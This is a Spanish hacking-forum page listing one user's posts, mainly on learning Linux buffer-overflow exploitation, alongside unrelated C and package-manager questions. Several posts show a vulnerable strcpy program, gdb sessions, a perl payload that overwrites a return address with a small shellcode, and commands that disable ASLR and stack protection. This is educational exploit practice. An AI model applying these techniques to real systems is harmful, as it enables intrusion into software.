Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Sagrini

#1
Bugs y Exploits / [Mini-Warzone] HackMe! ;)
17 Marzo 2012, 00:07 AM
Hey! He creado un pequeño warzone para este fin de semana, just for you ;)
Los objetivos del warzone son obtener la información de los archivos /home/user/passwd, /home/user2/passwd y /home/user3/passwd. Hay un servidor SSH corriendo en el puerto 22 de la IP XX.XX.XX.XX. Estará abierto al menos hasta las 18.30 del domingo 18 de marzo, y habrá un usuario llamado "warzone" con la password "hackme". Hay tres archivos binarios, "simplenote", "notesearch" y "game", todos vulnerables. Normas, intentemos evitar DoS, favor de no borrar logs, y todo vale. Y si conseguís rootear el servidor, favor de no modificar nada (que el servidor es un portátil de la Junta jajaja!) y muchas felicidades ;). Nivel requerido, super-bajo. Soluciones al email "sagrini@elhacker.net". Id publicando vuestos avances xD. Os espero!
Un saludo. Sagrini
#2
http://sagriniworkingbash.blogspot.com/2012/03/10032012-atacando-aslr-texto.html

¡Buenas noches! Recién acabado, aquí os dejo mi último texto sobre exploiting. Trata sobre la protección ASLR y sobre cómo saltársela de una forma rápida y sencillita. Está comprimido en un .zip, en el que está el .txt, los códigos en /src/  y los binarios en /bin/. Todo bajo un entorno ArchLinux con kernel 3.2.8. Seguramente no muy bien explicado, a lo mejor con alguna tontería mal escrita... Que lo disfrutéis.
Cualquier falta que podáis ver en el texto (aunque sea ortográfica ^^), cualquier duda o sugerencia, por favor escribidme a sagrini@elhacker.net. ¡Nos vemos!


:: 0x00 -- Análisis previos
:: 0x10 -- Primeros intentos
:: 0x20 -- Creando el exploit
:: 0x30 -- Final

http://www.mediafire.com/?50bidv2s2y3l9qo
http://sagriniworkingbash.blogspot.com
#3
Bugs y Exploits / A por ASLR!
27 Febrero 2012, 19:30 PM
Buenas! Estaba intentando saltarme la protección ASLR de linux, y me he dado cuenta de que... no me funciona! Seguramente sea culpa mía, algún fallo tonto, pero... xD
La cosa es que las variables de entorno (situadas en la pila) cambian de posición, pero las variables locales (también alojadas en pila) no cambian. Así de sencillamente he redactado esto para mi blog:
Citar
Bueno, estoy liado atacando la protección ASLR de los sistemas linux. Más que saltármela, estoy buscando una forma de conseguir evitarla con un 100% de posibilidades de acierto, como son necesarias a la hora de realizar un ataque remoto (porque es muy fácil producir un DoS, lo difícil es conseguir una shell en condiciones...). Así que, con el mismo código que el paper:

___________ code.c ___________

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int func (char *argv [])
{ char buffer [40];
strcpy (buffer, argv [1]);
printf ("%s\n", buffer);
return 0;
}

int main (int argc, char *argv [])
{ func (argv); return 0; }

______________________________

La idea es conseguir sobreescribir la dirección de retorno de la función func () y llevar la ejecución del programa a nuesta shellcode. En esta situación es fácil saber qué tipo de buffer debes utilizar, lo difícil es saber dónde alojar nuestra shellcode. Probando con las opciones tradicionales, vemos que tanto las direcciones de entorno. Sin embargo... wait! ¡Las de pila no cambian!

__________ Prueba 1 __________

[sagrini@sagrini src]$ cat /proc/sys/kernel/randomize_va_space
2
[sagrini@sagrini src]$ ./getenvaddr HOME code
HOME will be at 0xbfcd2dfd
[sagrini@sagrini src]$ ./getenvaddr HOME code
HOME will be at 0xbf903dfd
[sagrini@sagrini src]$ gdb -q code
Reading symbols from /home/sagrini/src/code...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x8048446
(gdb) r AAAA
Starting program: /home/sagrini/src/code AAAA

Breakpoint 1, 0x08048446 in main ()
(gdb) x/x $esp
0xbffff988: 0x00000000
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/sagrini/src/code AAAA

Breakpoint 1, 0x08048446 in main ()
(gdb) x/x $esp
0xbffff988: 0x00000000
(gdb) q
A debugging session is active.

Inferior 1 [process 6496] will be killed.

Quit anyway? (y or n) y
[sagrini@sagrini src]$
______________________________

Esto es un contra-sentido ya que las variables de entorno (como $HOME) se guardan en la pila, pero habrá que probar:

__________ Prueba 2 __________

[sagrini@sagrini src]$ gdb -q code
Reading symbols from /home/sagrini/src/code...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x08048443 <+0>: push   ebp
   0x08048444 <+1>: mov    ebp,esp
   0x08048446 <+3>: and    esp,0xfffffff0
   0x08048449 <+6>: sub    esp,0x10
   0x0804844c <+9>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804844f <+12>: mov    DWORD PTR [esp],eax
   0x08048452 <+15>: call   0x8048414 <func>
   0x08048457 <+20>: mov    eax,0x0
   0x0804845c <+25>: leave 
   0x0804845d <+26>: ret   
End of assembler dump.
(gdb) disass func
Dump of assembler code for function func:
   0x08048414 <+0>: push   ebp
   0x08048415 <+1>: mov    ebp,esp
   0x08048417 <+3>: sub    esp,0x48
   0x0804841a <+6>: mov    eax,DWORD PTR [ebp+0x8]
   0x0804841d <+9>: add    eax,0x4
   0x08048420 <+12>: mov    eax,DWORD PTR [eax]
   0x08048422 <+14>: mov    DWORD PTR [esp+0x4],eax
   0x08048426 <+18>: lea    eax,[ebp-0x30]
   0x08048429 <+21>: mov    DWORD PTR [esp],eax
   0x0804842c <+24>: call   0x8048320 <strcpy@plt>
   0x08048431 <+29>: lea    eax,[ebp-0x30]
   0x08048434 <+32>: mov    DWORD PTR [esp],eax
   0x08048437 <+35>: call   0x8048330 <puts@plt>
   0x0804843c <+40>: mov    eax,0x0
   0x08048441 <+45>: leave 
   0x08048442 <+46>: ret   
End of assembler dump.
(gdb) br *0x08048431
Breakpoint 1 at 0x8048431
(gdb) br *0x08048442
Breakpoint 2 at 0x8048442
(gdb) r $(perl -e 'print "A"x52 . "BBBB" . "C"x7')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/sagrini/src/code $(perl -e 'print "A"x52 . "BBBB" . "C"x7')

Breakpoint 1, 0x08048431 in func ()
(gdb) x/x $esp
0xbffff8e0: 0xbffff8f8
(gdb) x/x $ebp-0x30
0xbffff8f8: 0x41414141
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCC

Breakpoint 2, 0x08048442 in func ()
(gdb) x/x $esp
0xbffff92c: 0x42424242
(gdb) x/x $esp+4
0xbffff930: 0x43434343
(gdb) r $(perl -e 'print "A"x52 . "\x30\xf9\xff\xbf" . "\x31\xc0\x40\x89\xc3\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/sagrini/src/code $(perl -e 'print "A"x52 . "\x30\xf9\xff\xbf" . "\x31\xc0\x40\x89\xc3\xcd\x80"')

Breakpoint 1, 0x08048431 in func ()
(gdb) x/x $esp
0xbffff8e0: 0xbffff8f8
(gdb) x/x $ebp-0x30
0xbffff8f8: 0x41414141
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���1�@��̀

Breakpoint 2, 0x08048442 in func ()
(gdb) x/x $esp
0xbffff92c: 0xbffff930
(gdb) x/x $esp+0x4
0xbffff930: 0x8940c031
(gdb) c
Continuing.
[Inferior 1 (process 6667) exited with code 01]
(gdb)
______________________________

Increíble. Las variables de entorno se guardan en la pila, y su posición varía, mientras que las variables locales, que también están en la pila, no varían su posición. Seguramente será problema de GCC :P Seguiré investigando...
¡Nos vemos! Sagrini
Os resumo: Corro una utilidad escrita por Jon Erickson, y a cada ejecución la posición de la variable $HOME cambia, mientras que puedo explotar la vulnerabilidad tan ricamente haciendo correr mi shellcode (7 bytes, es un "return 1;"). Os dejo algunos datos de mi SO:

[root@sagrini /]# uname -a
Linux sagrini 3.2.7-1-ARCH #1 SMP PREEMPT Tue Feb 21 16:59:04 UTC 2012 i686 Intel(R) Atom(TM) CPU N455 @ 1.66GHz GenuineIntel GNU/Linux
[root@sagrini /]# gcc -v
Usando especificaciones internas.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/i686-pc-linux-gnu/4.6.2/lto-wrapper
Objetivo: i686-pc-linux-gnu
Configurado con: /build/src/gcc-4.6-20120120/configure --prefix=/usr --libdir=/usr/lib --libexecdir=/usr/lib --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=https://bugs.archlinux.org/ --enable-languages=c,c++,ada,fortran,go,lto,objc,obj-c++ --enable-shared --enable-threads=posix --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-clocale=gnu --disable-libstdcxx-pch --enable-libstdcxx-time --enable-gnu-unique-object --enable-linker-build-id --with-ppl --enable-cloog-backend=isl --enable-lto --enable-gold --enable-ld=default --enable-plugin --with-plugin-ld=ld.gold --disable-multilib --disable-libssp --enable-checking=release
Modelo de hilos: posix
gcc versión 4.6.2 20120120 (prerelease) (GCC)
[root@sagrini /]# cat /proc/sys/kernel/randomize_va_space
2
[root@sagrini /]#
#4
¡Buenas! Llevo mucho tiempo off, y para engancharme un poquito he escrito un documento sobre explotación de vulnerabilidades de buffer overflows sobrescribiendo la dirección de retorno de una función mal programada ;) Os lo dejo, a ver qué os parece.
El .zip incluye los 3 códigos (code.c objetivo, exploit.c y getenvaddr.c), los tres ejecutables (limpisimos, por supuesto jajaja) y el doc. Nivel bajo-medio, no muy bien explicado pero... xD Que os aproveche.

> [Linux][C] Técnicas de exploiting por buffer overflow : Sagrini 2012
---------------------------------
1. Introducción
2. Preparando el buffer overflow
3. ¿Dónde alojar nuesta shellcode?
4. Creando el exploit
5. Final
---------------------------------
http://www.mediafire.com/?utg52ymex66de10

Escribidme cualquier duda por PM o a mi email (sagrini@elhacker.net).
Un saludo. Sagrini

PS: Por cierto, se me ha pasado completamente. Para seguir el tutorial, hay que desactivar protecciones (ya aprenderemos a saltárnoslas más adelante jajaja). Ya hay varios artículos sobre cómo saltarse estas protecciones que aquí desactivamos. Ya escribiré algo xD.

# echo 0 > /proc/sys/kernel/randomize_va_space
------
$ gcc -o code code.c --no-stack-protector
#5
Buenas! El otro día estaba haciendo un ahorcado en C y pensé que la salida era muy grande. Se me ocurrió escribir "sobre" lo que ya había escrito antes, lo que llegaría a ser lo que hace "apt-get", etc... cuando hacen una barra de progreso. Mi primera idea fue usar lseek (), pero no me dio resultado. Alguna idea? ;) Gracias!

PS: Os dejo una idea de lo que intentaba hacer:

#include <stdio.h>
int main ()
{
printf ("1\n");
printf ("2\n");
lseek (stdin, 0, 0);
printf ("3\n");
return 0;
}


$ gcc -o code code.c
$./code
3
2
$

#6
Hola! Os cuento: Hace poco me hice con el control de mi nuevo Guadalinex, y me puse a actualizar y instalar paquetes. No sé a partir de qué momento me empezó a dar error en todas las tareas que hacía con paquetes. Al pedir más detalles me decía que el paquete firefox-cgaconfig estaba roto, muy inconsciente, y que tenía que reinstalarlo para continuar. Al darme este error todas las tareas que hacía fallaban. Ahora, al ir a reinstalar el paquete en cuestión me decía exactamente lo mismo (el paquete está inconsciente, debe reinstalarlo):

root@pc11-1:/home/juanra# apt-get remove firefox-cgaconfig
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
Se instalaron de forma automática los siguientes paquetes y ya no son necesarios.
  acroread-escript acroread-doc-es acroread-plugins acroread-l10n-es
  mozilla-acroread acroread acroread-dictionary-es acroread-debian-files
Utilice «apt-get autoremove» para eliminarlos.
Los siguientes paquetes se ELIMINARÁN:
  firefox-cgaconfig
0 actualizados, 0 se instalarán, 1 para eliminar y 0 no actualizados.
1 no instalados del todo o eliminados.
Se liberarán 184kB después de esta operación.
¿Desea continuar [S/n]? S
dpkg: error al procesar firefox-cgaconfig (--remove):
El paquete está en un estado muy malo e inconsistente - debe reinstalarlo
antes de intentar desinstalarlo.
Se encontraron errores al procesar:
firefox-cgaconfig
E: Sub-process /usr/bin/dpkg returned an error code (1)

Ahora, he probado a hacer:

apt-get -f install
Synaptic>Arreglar paquetes rotos
Actualización parcial
Reinstalar/instalar/eliminar paquete firefox-cgaconfig
Reinstalar/instalar/eliminar firefox-cgaconfig*.dev (descargado desde web "oficial" de Guadalinex)
...


Ahora, sin llegar al formateo (etc...), como puedo eliminar/reinstalar completamente el paquete firefox-cgaconfig por completo?
Un saludo y feliz año nuevo! Gracias! Sagrini
#7
Programación C/C++ / Fgets para enteros?
23 Diciembre 2011, 11:02 AM
Buenas! Estaba intentando resolver una duda de un compañero sobre scanf () y he pensado... ¿cómo puedo hacer para obtener números enteros con fgets ()?
Para cadenas está muy claro:

char cadena [100];
fgets (cadena, sizeof (cadena), stdin);
printf ("%s", cadena);

¿Pero para enteros? Se puede seguir utilizando fgets ()?

int numero;
fgets ((char) numero, sizeof (numero)/4, stdin);
printf ("%d", numero);

Creo que no xD. A ver, fgets () se usa para cadenas, así que tenemos que buscar otra función. Scanf no vale porque si escribes una letra se te van abajo todos los demás scanf que tengas en el programa. ¿Qué se os ocurre? Estaba pensando en formatear el resultado de fgets, pero estamos en las mismas...